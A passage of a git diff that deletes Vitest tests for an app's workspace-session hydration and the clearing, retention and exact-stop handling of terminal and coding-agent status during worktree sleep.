-            relativePath: 'src/App.tsx',
-            worktreeId: folderKey,
-            language: 'typescript'
-          }
-        ]
-      },
-      activeFileIdByWorktree: { [folderKey]: editorFileId },
-      browserTabsByWorktree: {
-        [folderKey]: [
-          makeBrowserTab({
-            id: 'browser-folder',
-            worktreeId: folderKey,
-            url: 'https://example.com'
-          })
-        ]
-      },
-      browserPagesByWorkspace: {
-        'browser-folder': [
-          {
-            id: 'browser-page-folder',
-            workspaceId: 'browser-folder',
-            worktreeId: folderKey,
-            url: 'https://example.com',
-            title: 'Example',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 1
-          }
-        ]
-      },
-      activeBrowserTabIdByWorktree: { [folderKey]: 'browser-folder' },
-      activeTabTypeByWorktree: { [folderKey]: 'browser' as const },
-      unifiedTabs: {
-        [folderKey]: [
-          {
-            id: 'terminal-folder',
-            entityId: 'terminal-folder',
-            groupId,
-            worktreeId: folderKey,
-            contentType: 'terminal' as const,
-            label: 'Terminal',
-            customLabel: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          },
-          {
-            id: editorFileId,
-            entityId: editorFileId,
-            groupId,
-            worktreeId: folderKey,
-            contentType: 'editor' as const,
-            label: 'App.tsx',
-            customLabel: null,
-            color: null,
-            sortOrder: 1,
-            createdAt: 2
-          },
-          {
-            id: 'browser-folder',
-            entityId: 'browser-folder',
-            groupId,
-            worktreeId: folderKey,
-            contentType: 'browser' as const,
-            label: 'Example',
-            customLabel: null,
-            color: null,
-            sortOrder: 2,
-            createdAt: 3
-          }
-        ]
-      },
-      tabGroups: {
-        [folderKey]: [
-          {
-            id: groupId,
-            worktreeId: folderKey,
-            activeTabId: 'browser-folder',
-            tabOrder: ['terminal-folder', editorFileId, 'browser-folder'],
-            recentTabIds: ['terminal-folder', editorFileId, 'browser-folder']
-          }
-        ]
-      },
-      activeGroupIdByWorktree: { [folderKey]: groupId }
-    }
-    const options = {
-      additionalValidWorkspaceKeys: [folderKey],
-      runtimeHostIdByWorkspaceSessionKey: { [folderKey]: 'runtime:env-1' as const }
-    }
-
-    store.getState().hydrateWorkspaceSession(session, options)
-    store.getState().hydrateTabsSession(session, options)
-    store.getState().hydrateEditorSession(session, options)
-    store.getState().hydrateBrowserSession(session, options)
-
-    const state = store.getState()
-    expect(state.activeWorktreeId).toBe(folderKey)
-    expect(state.activeWorkspaceKey).toBe(folderKey)
-    expect(state.tabsByWorktree[folderKey]?.map((tab) => tab.id)).toEqual(['terminal-folder'])
-    expect(state.unifiedTabsByWorktree[folderKey]?.map((tab) => tab.id)).toEqual([
-      'terminal-folder',
-      editorFileId,
-      'browser-folder'
-    ])
-    expect(state.openFiles.map((file) => file.worktreeId)).toEqual([folderKey])
-    expect(state.activeFileIdByWorktree[folderKey]).toBe(editorFileId)
-    expect(state.browserTabsByWorktree[folderKey]?.map((tab) => tab.id)).toEqual(['browser-folder'])
-    expect(state.browserPagesByWorkspace['browser-folder']?.[0]?.worktreeId).toBe(folderKey)
-    expect(state.activeTabTypeByWorktree[folderKey]).toBe('browser')
-  })
-})
diff --git a/src/renderer/src/store/terminals/store-sleep-agent-status-retention.test.ts b/src/renderer/src/store/terminals/store-sleep-agent-status-retention.test.ts
deleted file mode 100644
index a3fe23ddccf..00000000000
--- a/src/renderer/src/store/terminals/store-sleep-agent-status-retention.test.ts
+++ /dev/null
@@ -1,290 +0,0 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../runtime/rpc/compatibility/runtime-compatibility-cache'
-import { createTestStore, seedStore } from '../testing/app-store-test-fixture'
-import { makeTab } from './terminal-tab.test-fixture'
-import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
-import { shutdownBufferCaptures } from '@/components/terminal-pane/snapshots/shutdown-buffer-captures'
-import { applySleepRuntimeRpcDefault } from './terminal-sleep-rpc.test-fixture'
-import { createStoreCascadesMockApi } from '../testing/app-store-cascade-api.test-fixture'
-
-const mockUnregisterPtyDataHandlers = vi.hoisted(() => vi.fn<() => unknown[]>(() => []))
-const mockRestorePtyDataHandlersAfterFailedShutdown = vi.hoisted(() => vi.fn())
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  restorePtyDataHandlersAfterFailedShutdown: mockRestorePtyDataHandlersAfterFailedShutdown,
-  unregisterPtyDataHandlers: mockUnregisterPtyDataHandlers
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-const mockApi = createStoreCascadesMockApi()
-
-// Sleep must clear live/retained status or mid-turn agents remain working until the 30-minute TTL.
-describe('shutdownWorktreeTerminals (sleep) — agent status hygiene', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    clearRuntimeCompatibilityCacheForTests()
-    mockApi.pty.kill.mockResolvedValue(undefined)
-    mockUnregisterPtyDataHandlers.mockReturnValue([])
-    applySleepRuntimeRpcDefault(mockApi)
-    shutdownBufferCaptures.clear()
-  })
-
-  it('captures allowlisted done live sleeping pane sessions during manual sleep', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-1'] }
-    })
-
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'done',
-        prompt: 'resume live',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 1000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-    store.getState().retainAgents([
-      {
-        entry: {
-          paneKey: 'tab-1:retained',
-          state: 'done',
-          stateStartedAt: 900,
-          updatedAt: 900,
-          prompt: 'old retained',
-          agentType: 'codex',
-          providerSession: { key: 'session_id', id: 'old-session' },
-          stateHistory: []
-        },
-        tab: makeTab({ id: 'tab-1', worktreeId: wt, title: 'Old Codex' }),
-        worktreeId: wt,
-        agentType: 'codex',
-        startedAt: 900
-      }
-    ])
-
-    await store.getState().shutdownWorktreeTerminals(wt, {
-      keepIdentifiers: true,
-      sleepingPaneKeys: ['tab-1:live']
-    })
-
-    const state = store.getState()
-    expect(state.sleepingAgentSessionsByPaneKey['tab-1:live']).toMatchObject({
-      origin: 'worktree-sleep',
-      state: 'done',
-      providerSession: { key: 'session_id', id: 'live-session' }
-    })
-    expect(state.sleepingAgentSessionsByPaneKey['tab-1:retained']).toBeUndefined()
-  })
-
-  it('retains only clean slept completions during automatic hibernation', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const otherWt = 'repo1::/path/wt2'
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' }),
-          makeWorktree({ id: otherWt, repoId: 'repo1', path: '/path/wt2' })
-        ]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })],
-        [otherWt]: [makeTab({ id: 'tab-2', worktreeId: otherWt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-1'], 'tab-2': ['pty-2'] }
-    })
-
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'working',
-        prompt: 'new retained prompt',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 1800, stateStartedAt: 1800 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'done',
-        prompt: 'new retained prompt',
-        agentType: 'codex',
-        lastAssistantMessage: 'new final message',
-        interrupted: false
-      },
-      'Codex',
-      { updatedAt: 2000, stateStartedAt: 2000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-    store.getState().retainAgents([
-      {
-        entry: {
-          paneKey: 'tab-1:live',
-          state: 'done',
-          stateStartedAt: 1000,
-          updatedAt: 1000,
-          stateHistory: [],
-          prompt: 'stale same-pane prompt',
-          agentType: 'codex',
-          providerSession: { key: 'session_id', id: 'old-session' }
-        },
-        worktreeId: wt,
-        tab: makeTab({ id: 'tab-1', worktreeId: wt, title: 'Old Codex' }),
-        agentType: 'codex',
-        startedAt: 1000
-      },
-      {
-        entry: {
-          paneKey: 'tab-1:retained',
-          state: 'done',
-          stateStartedAt: 1500,
-          updatedAt: 1500,
-          stateHistory: [],
-          prompt: 'unslept retained prompt',
-          agentType: 'codex'
-        },
-        worktreeId: wt,
-        tab: makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' }),
-        agentType: 'codex',
-        startedAt: 1500
-      },
-      {
-        entry: {
-          paneKey: 'tab-2:retained',
-          state: 'done',
-          stateStartedAt: 1600,
-          updatedAt: 1600,
-          stateHistory: [],
-          prompt: 'other retained prompt',
-          agentType: 'codex'
-        },
-        worktreeId: otherWt,
-        tab: makeTab({ id: 'tab-2', worktreeId: otherWt, title: 'Codex' }),
-        agentType: 'codex',
-        startedAt: 1600
-      }
-    ])
-    store.getState().acknowledgeAgents(['tab-1:live', 'tab-1:retained', 'tab-2:retained'])
-    const liveAck = store.getState().acknowledgedAgentsByPaneKey['tab-1:live']
-    store.getState().setMigrationUnsupportedPty({
-      ptyId: 'pty-legacy',
-      worktreeId: wt,
-      paneKey: 'tab-1:legacy',
-      reason: 'legacy-numeric-pane-key',
-      source: 'local',
-      updatedAt: 1700
-    })
-
-    await store.getState().shutdownWorktreeTerminals(wt, {
-      keepIdentifiers: true,
-      shutdownReason: 'auto-hibernate-completed-agent',
-      sleepingPaneKeys: ['tab-1:live']
-    })
-
-    const state = store.getState()
-    expect(state.agentStatusByPaneKey['tab-1:live']).toBeUndefined()
-    expect(state.retainedAgentsByPaneKey['tab-1:live']).toMatchObject({
-      worktreeId: wt,
-      startedAt: 1800,
-      entry: {
-        prompt: 'new retained prompt',
-        lastAssistantMessage: 'new final message',
-        providerSession: { key: 'session_id', id: 'live-session' }
-      }
-    })
-    expect(state.sleepingAgentSessionsByPaneKey['tab-1:live']).toMatchObject({
-      paneKey: 'tab-1:live',
-      origin: 'worktree-sleep',
-      providerSession: { key: 'session_id', id: 'live-session' }
-    })
-    expect(state.retainedAgentsByPaneKey['tab-1:retained']).toBeUndefined()
-    expect(state.retainedAgentsByPaneKey['tab-2:retained']).toBeDefined()
-    expect(state.acknowledgedAgentsByPaneKey['tab-1:live']).toBe(liveAck)
-    expect(state.acknowledgedAgentsByPaneKey['tab-1:retained']).toBeUndefined()
-    expect(state.acknowledgedAgentsByPaneKey['tab-2:retained']).toBeGreaterThan(0)
-    expect(state.migrationUnsupportedByPtyId['pty-legacy']).toBeUndefined()
-    expect(state.retentionSuppressedPaneKeys['tab-1:live']).toBeUndefined()
-  })
-
-  it('does not preserve provider session metadata when a pane switches agent type', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Claude' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-1'] }
-    })
-
-    store.getState().setAgentStatus(
-      'tab-1:0',
-      {
-        state: 'done',
-        prompt: 'codex prompt',
-        agentType: 'codex',
-        interrupted: false
-      },
-      'Codex',
-      { updatedAt: 1000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'codex-session-1' } }
-    )
-
-    store.getState().setAgentStatus(
-      'tab-1:0',
-      {
-        state: 'working',
-        prompt: 'claude prompt',
-        agentType: 'claude'
-      },
-      'Claude',
-      { updatedAt: 2000, stateStartedAt: 2000 },
-      { tabId: 'tab-1', worktreeId: wt }
-    )
-
-    const liveEntry = store.getState().agentStatusByPaneKey['tab-1:0']
-    expect(liveEntry?.agentType).toBe('claude')
-    expect(liveEntry?.providerSession).toBeUndefined()
-
-    await store.getState().shutdownWorktreeTerminals(wt, { keepIdentifiers: true })
-
-    const state = store.getState()
-    expect(state.agentStatusByPaneKey['tab-1:0']).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey['tab-1:0']).toBeUndefined()
-  })
-})
diff --git a/src/renderer/src/store/terminals/store-sleep-exact-runtime-stop.test.ts b/src/renderer/src/store/terminals/store-sleep-exact-runtime-stop.test.ts
index bf6c1586b36..4677af92565 100644
--- a/src/renderer/src/store/terminals/store-sleep-exact-runtime-stop.test.ts
+++ b/src/renderer/src/store/terminals/store-sleep-exact-runtime-stop.test.ts
@@ -45,296 +45,6 @@ describe('shutdownWorktreeTerminals (sleep) — agent status hygiene', () => {
     shutdownBufferCaptures.clear()
   })
 
-  it('does not commit sleep state when exact runtime stop post-check is inconclusive', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) =>
-      Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result:
-            args.method === 'terminal.stopExact'
-              ? {
-                  stoppedPtyIds: ['pty-1'],
-                  livePtyIds: ['pty-1'],
-                  postStopVerified: false,
-                  postStopFailure: 'terminal_liveness_unavailable'
-                }
-              : {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    )
-
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'done',
-        prompt: 'resume live',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 1000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-
-    await expect(
-      store.getState().shutdownWorktreeTerminals(wt, {
-        keepIdentifiers: true,
-        sleepingPaneKeys: ['tab-1:live'],
-        expectedRuntimePtyIds: ['pty-1']
-      })
-    ).rejects.toThrow('terminal_liveness_unavailable')
-
-    // Inconclusive stop restores the done agent’s live recovery anchor, never worktree-sleep (#9454).
-    expect(store.getState().sleepingAgentSessionsByPaneKey['tab-1:live']).toMatchObject({
-      origin: 'live',
-      agent: 'codex',
-      providerSession: { key: 'session_id', id: 'live-session' }
-    })
-    expect(store.getState().agentStatusByPaneKey['tab-1:live']).toBeDefined()
-    expect(store.getState().suppressedPtyExitIds['pty-1']).toBeUndefined()
-    expect(mockApi.pty.kill).not.toHaveBeenCalled()
-  })
-
-  it('clears exact-stop exit suppression when a slept PTY ID wakes live again', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) =>
-      Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result:
-            args.method === 'terminal.stopExact'
-              ? { stoppedPtyIds: ['pty-1'], livePtyIds: ['pty-1'], postStopVerified: true }
-              : {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    )
-
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['remote:runtime-1@@pty-1'] }
-    })
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'done',
-        prompt: 'resume live',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 1000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-
-    await store.getState().shutdownWorktreeTerminals(wt, {
-      keepIdentifiers: true,
-      sleepingPaneKeys: ['tab-1:live'],
-      expectedRuntimePtyIds: ['pty-1']
-    })
-    expect(store.getState().suppressedPtyExitIds['remote:runtime-1@@pty-1']).toBe(true)
-    expect(store.getState().suppressedPtyExitIds['pty-1']).toBeUndefined()
-
-    store.getState().updateTabPtyId('tab-1', 'remote:runtime-1@@pty-1')
-
-    expect(store.getState().suppressedPtyExitIds['remote:runtime-1@@pty-1']).toBeUndefined()
-  })
-
-  it('suppresses only the scoped remote PTY identity before exact runtime stop resolves', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    let sawWrappedSuppressedDuringStop = false
-    let sawRawSuppressedDuringStop = false
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) => {
-      const compatible = createCompatibleRuntimeStatusResponseIfNeeded(args)
-      if (compatible) {
-        return Promise.resolve(compatible)
-      }
-      if (args.method === 'terminal.stopExact') {
-        sawWrappedSuppressedDuringStop = store
-          .getState()
-          .consumeSuppressedPtyExit('remote:env-1@@terminal-1')
-        sawRawSuppressedDuringStop = store.getState().consumeSuppressedPtyExit('terminal-1')
-        return Promise.resolve({
-          id: 'rpc-default',
-          ok: true,
-          result: {
-            stoppedPtyIds: ['terminal-1'],
-            livePtyIds: ['terminal-1'],
-            postStopVerified: true
-          },
-          _meta: { runtimeId: 'remote-runtime' }
-        })
-      }
-      return Promise.resolve({
-        id: 'rpc-default',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'remote-runtime' }
-      })
-    })
-
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['remote:env-1@@terminal-1'] }
-    })
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'done',
-        prompt: 'resume live',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 1000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-
-    await store.getState().shutdownWorktreeTerminals(wt, {
-      keepIdentifiers: true,
-      sleepingPaneKeys: ['tab-1:live'],
-      expectedRuntimePtyIds: ['terminal-1']
-    })
-
-    expect(sawWrappedSuppressedDuringStop).toBe(true)
-    expect(store.getState().suppressedPtyExitIds['remote:runtime-1@@terminal-1']).toBeUndefined()
-    expect(sawRawSuppressedDuringStop).toBe(false)
-    expect(mockUnregisterPtyDataHandlers).toHaveBeenCalledWith(['remote:env-1@@terminal-1'])
-    expect(mockUnregisterPtyDataHandlers).not.toHaveBeenCalledWith(['terminal-1'])
-  })
-
-  it('still kills a local renderer PTY whose id matches a remote exact-stop handle', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) =>
-      Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result:
-            args.method === 'terminal.stopExact'
-              ? {
-                  stoppedPtyIds: ['terminal-1'],
-                  livePtyIds: ['terminal-1'],
-                  postStopVerified: true
-                }
-              : {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    )
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt })]
-      },
-      ptyIdsByTabId: {
-        'tab-1': ['remote:runtime-1@@terminal-1', 'terminal-1']
-      }
-    })
-
-    await store.getState().shutdownWorktreeTerminals(wt, {
-      expectedRuntimePtyIds: ['terminal-1']
-    })
-
-    expect(mockApi.pty.kill).toHaveBeenCalledWith('terminal-1', { keepHistory: false })
-    expect(mockUnregisterPtyDataHandlers).toHaveBeenCalledWith([
-      'remote:runtime-1@@terminal-1',
-      'terminal-1'
-    ])
-  })
-
-  it('commits the pre-stop sleeping record when exact-stop exit clears live status', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const now = Date.now()
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) => {
-      if (args.method === 'terminal.stopExact') {
-        store.getState().removeAgentStatus('tab-1:live')
-        return Promise.resolve({
-          id: 'rpc-default',
-          ok: true,
-          result: { stoppedPtyIds: ['pty-1'], livePtyIds: ['pty-1'], postStopVerified: true },
-          _meta: { runtimeId: 'remote-runtime' }
-        })
-      }
-      return Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result: {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    })
-
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'working',
-        prompt: 'resume live',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: now, stateStartedAt: now },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-
-    await store.getState().shutdownWorktreeTerminals(wt, {
-      keepIdentifiers: true,
-      sleepingPaneKeys: ['tab-1:live'],
-      expectedRuntimePtyIds: ['pty-1']
-    })
-
-    expect(store.getState().sleepingAgentSessionsByPaneKey['tab-1:live']).toMatchObject({
-      origin: 'worktree-sleep',
-      providerSession: { key: 'session_id', id: 'live-session' }
-    })
-  })
-
   it('commits pre-stop retained evidence when exact-stop clears live status during hibernation', async () => {
     const store = createTestStore()
     const wt = 'repo1::/path/wt1'
@@ -399,184 +109,4 @@ describe('shutdownWorktreeTerminals (sleep) — agent status hygiene', () => {
       }
     })
   })
-
-  it('does not commit stale pre-stop evidence when exact-stop changes live status', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) => {
-      if (args.method === 'terminal.stopExact') {
-        store.getState().setAgentStatus(
-          'tab-1:live',
-          {
-            state: 'working',
-            prompt: 'still active',
-            agentType: 'codex'
-          },
-          'Codex',
-          { updatedAt: 1500, stateStartedAt: 1500 },
-          { tabId: 'tab-1', worktreeId: wt },
-          { providerSession: { key: 'session_id', id: 'live-session' } }
-        )
-        return Promise.resolve({
-          id: 'rpc-default',
-          ok: true,
-          result: { stoppedPtyIds: ['pty-1'], livePtyIds: ['pty-1'], postStopVerified: true },
-          _meta: { runtimeId: 'remote-runtime' }
-        })
-      }
-      return Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result: {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    })
-
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'done',
-        prompt: 'stale done',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 1000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-
-    await store.getState().shutdownWorktreeTerminals(wt, {
-      keepIdentifiers: true,
-      shutdownReason: 'auto-hibernate-completed-agent',
-      sleepingPaneKeys: ['tab-1:live'],
-      expectedRuntimePtyIds: ['pty-1']
-    })
-
-    expect(store.getState().agentStatusByPaneKey['tab-1:live']).toBeUndefined()
-    expect(store.getState().retainedAgentsByPaneKey['tab-1:live']).toBeUndefined()
-    expect(store.getState().retentionSuppressedPaneKeys['tab-1:live']).toBe(true)
-  })
-
-  it('does not commit sleep state when exact runtime stop fails', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) => {
-      const compatible = createCompatibleRuntimeStatusResponseIfNeeded(args)
-      if (compatible) {
-        return Promise.resolve(compatible)
-      }
-      if (args.method === 'terminal.stopExact') {
-        return Promise.reject(new Error('stop failed'))
-      }
-      return Promise.resolve({
-        id: 'rpc-default',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'remote-runtime' }
-      })
-    })
-
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    store.getState().setAgentStatus(
-      'tab-1:live',
-      {
-        state: 'done',
-        prompt: 'resume live',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 1000, stateStartedAt: 1000 },
-      { tabId: 'tab-1', worktreeId: wt },
-      { providerSession: { key: 'session_id', id: 'live-session' } }
-    )
-
-    await expect(
-      store.getState().shutdownWorktreeTerminals(wt, {
-        keepIdentifiers: true,
-        sleepingPaneKeys: ['tab-1:live'],
-        expectedRuntimePtyIds: ['pty-1']
-      })
-    ).rejects.toThrow('stop failed')
-
-    // Failed stop restores the done agent’s live recovery anchor, never worktree-sleep (#9454).
-    expect(store.getState().sleepingAgentSessionsByPaneKey['tab-1:live']).toMatchObject({
-      origin: 'live',
-      agent: 'codex',
-      providerSession: { key: 'session_id', id: 'live-session' }
-    })
-    expect(store.getState().agentStatusByPaneKey['tab-1:live']).toBeDefined()
-    expect(mockUnregisterPtyDataHandlers).not.toHaveBeenCalledWith(['pty-1'])
-    expect(mockApi.pty.kill).not.toHaveBeenCalled()
-  })
-
-  it('does not commit sleep state when exact runtime stop returns the wrong set', async () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) =>
-      Promise.resolve(
-        createCompatibleRuntimeStatusResponseIfNeeded(args) ?? {
-          id: 'rpc-default',
-          ok: true,
-          result:
-            args.method === 'terminal.stopExact'
-              ? {
-                  stoppedPtyIds: ['pty-1'],
-                  livePtyIds: ['pty-1', 'pty-shell'],
-                  postStopVerified: true
-                }
-              : {},
-          _meta: { runtimeId: 'remote-runtime' }
-        }
-      )
-    )
-
-    seedStore(store, {
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'runtime-1' },
-      worktreesByRepo: {
-        repo1: [makeRuntimeOwnedWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: 'tab-1', worktreeId: wt, title: 'Codex' })]
-      },
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    store.getState().setAgentStatus('tab-1:live', {
-      state: 'done',
-      prompt: 'resume live',
-      agentType: 'codex'
-    })
-
-    await expect(
-      store.getState().shutdownWorktreeTerminals(wt, {
-        keepIdentifiers: true,
-        sleepingPaneKeys: ['tab-1:live'],
-        expectedRuntimePtyIds: ['pty-1']
-      })
-    ).rejects.toThrow('exact_terminal_stop_mismatch')
-
-    expect(store.getState().sleepingAgentSessionsByPaneKey['tab-1:live']).toBeUndefined()
-    expect(store.getState().agentStatusByPaneKey['tab-1:live']).toBeDefined()
-    expect(mockApi.pty.kill).not.toHaveBeenCalled()
-  })
 })
